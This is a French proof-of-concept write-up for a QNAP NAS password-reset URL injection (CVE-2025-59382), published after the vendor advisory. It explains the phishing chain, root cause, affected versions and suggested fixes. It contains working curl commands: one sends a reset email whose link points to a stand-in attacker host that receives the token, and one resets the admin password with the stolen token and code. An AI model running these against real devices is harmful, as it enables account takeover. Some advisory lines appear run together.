
Preuve de concept et analyse technique pour CVE-2025-59382, une injection d'URL de réinitialisation de mot de passe non authentifiée dans QNAP NAS qui permet une chaîne de phishing menant à la prise de contrôle de compte.
URL de réinitialisation de mot de passe contrôlée par un attaquant non authentifié dans /cgi-bin/reset_password.cgi.
Testé contre QuTScloud c5.2.4.3041 build 20250211 en laboratoire. QNAP a ensuite publié ceci sous le nom CVE-2025-59382 dans l'avis QSA-26-10.
Un attaquant non authentifié avec un accès réseau local, ou un accès à une interface de gestion NAS exposée, peut injecter une URL arbitraire dans l'e-mail officiel de réinitialisation de mot de passe QNAP en manipulant le paramètre url de la fonction send_mail dans /cgi-bin/reset_password.cgi.
La victime reçoit un véritable e-mail de réinitialisation de mot de passe QNAP provenant du NAS. L'URL de l'attaquant est intégrée directement dans le corps HTML de l'e-mail, et QNAP ajoute le jeton de réinitialisation (rp) à cette URL.
Cela transforme l'e-mail de réinitialisation de mot de passe en une chaîne de phishing vers prise de contrôle de compte bien propre :
rpvc) dans la page de phishingNécessite une interaction de la victime, mais pas d'authentification de l'attaquant.
curl "http://<IP_DU_NAS>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attaquant.example.com/phish"
Le NAS envoie l'e-mail officiel de réinitialisation et ajoute le jeton de réinitialisation à l'URL de l'attaquant, par exemple :
https://attaquant.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
Le code de vérification est également affiché dans le même e-mail. Dans les preuves de laboratoire, cela ressemblait à :
Your verification code is: 2FEA2B8B
Ainsi, la page de phishing n'a qu'à demander le code de vérification à la victime. Le jeton rp atterrit déjà sur le serveur de l'attaquant lorsque le lien est cliqué.
Une fois que l'attaquant possède le jeton rp et le code de vérification vc associé, il peut réinitialiser le mot de passe administrateur :
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://<IP_DU_NAS>:8080/cgi-bin/reset_password.cgi"
L'appel de réinitialisation final doit être un POST. Le code de vérification saisi par la victime sur la page factice est envoyé à QNAP sous la forme vc=<code>.
Le nouveau mot de passe est encodé en base64 dans new_pw. Dans la preuve de concept, cela a suffi pour changer le mot de passe administrateur puis se connecter en tant qu'administrateur.
Le flux frontal normal construit une URL NAS locale comme :
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
Mais le backend fait confiance au paramètre url fourni par le client au lieu de générer lui-même l'URL de réinitialisation. Il construit ensuite le lien de l'e-mail en utilisant cette valeur et ajoute :
&u=<utilisateur>&rp=<jeton_de_réinitialisation>
Il fait confiance à tout ce qui est passé comme url.
C'est l'e-mail NAS de confiance qui assure la livraison.
CVE-2025-59382QSA-26-102026-06-17CWE-4725.1 MediumQNAP liste les produits concernés comme suit :
5.2.7h5.2.8c5.2.82.7.1Versions corrigées listées par QNAP :
5.2.9.3499h5.2.9C5.2.92.8.0QNAP a décrit le problème comme un attaquant distant modifiant l'URL de réinitialisation du mot de passe et trompant une victime en l'amenant à visiter une page de réinitialisation contrôlée par l'attaquant, conduisant au vol d'identifiants.
Ma propre cible de laboratoire était QuTScloud c5.2.4.3041 build 20250211. Mon impact en laboratoire était la réinitialisation du mot de passe administrateur et la connexion administrateur après interaction de la victime.
Petite note : j'ai reproduit cela dans mon laboratoire le 2026-05-09 et l'ai envoyé à QNAP le 2026-05-11 ; ils l'ont marqué comme un doublon de INTSI000-9029. Puisque QNAP a maintenant publié le CVE/avis, je publie la preuve de concept. Crédits à Tim Coen comme premier découvreur.
Je ne connais pas le correctif exact utilisé par QNAP. Leur avis ne liste que les versions corrigées.
Mon estimation pour le bon correctif est simple : ne pas laisser le navigateur indiquer au NAS où le lien de réinitialisation doit pointer.
Le NAS devrait construire ce lien lui-même. Si QNAP a encore besoin d'un paramètre url pour le flux, il ne devrait accepter que la page de réinitialisation NAS normale et rejeter tout ce qui est externe.
J'encoderais également tout ce qui est inséré dans le corps de l'e-mail, et mettrais en place une limitation de débit autour des demandes d'e-mail de réinitialisation non authentifiées.
Avertissement : Ce code d'exploitation est publié à des fins de recherche éducative et défensive. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. L'auteur n'est pas responsable d'une mauvaise utilisation.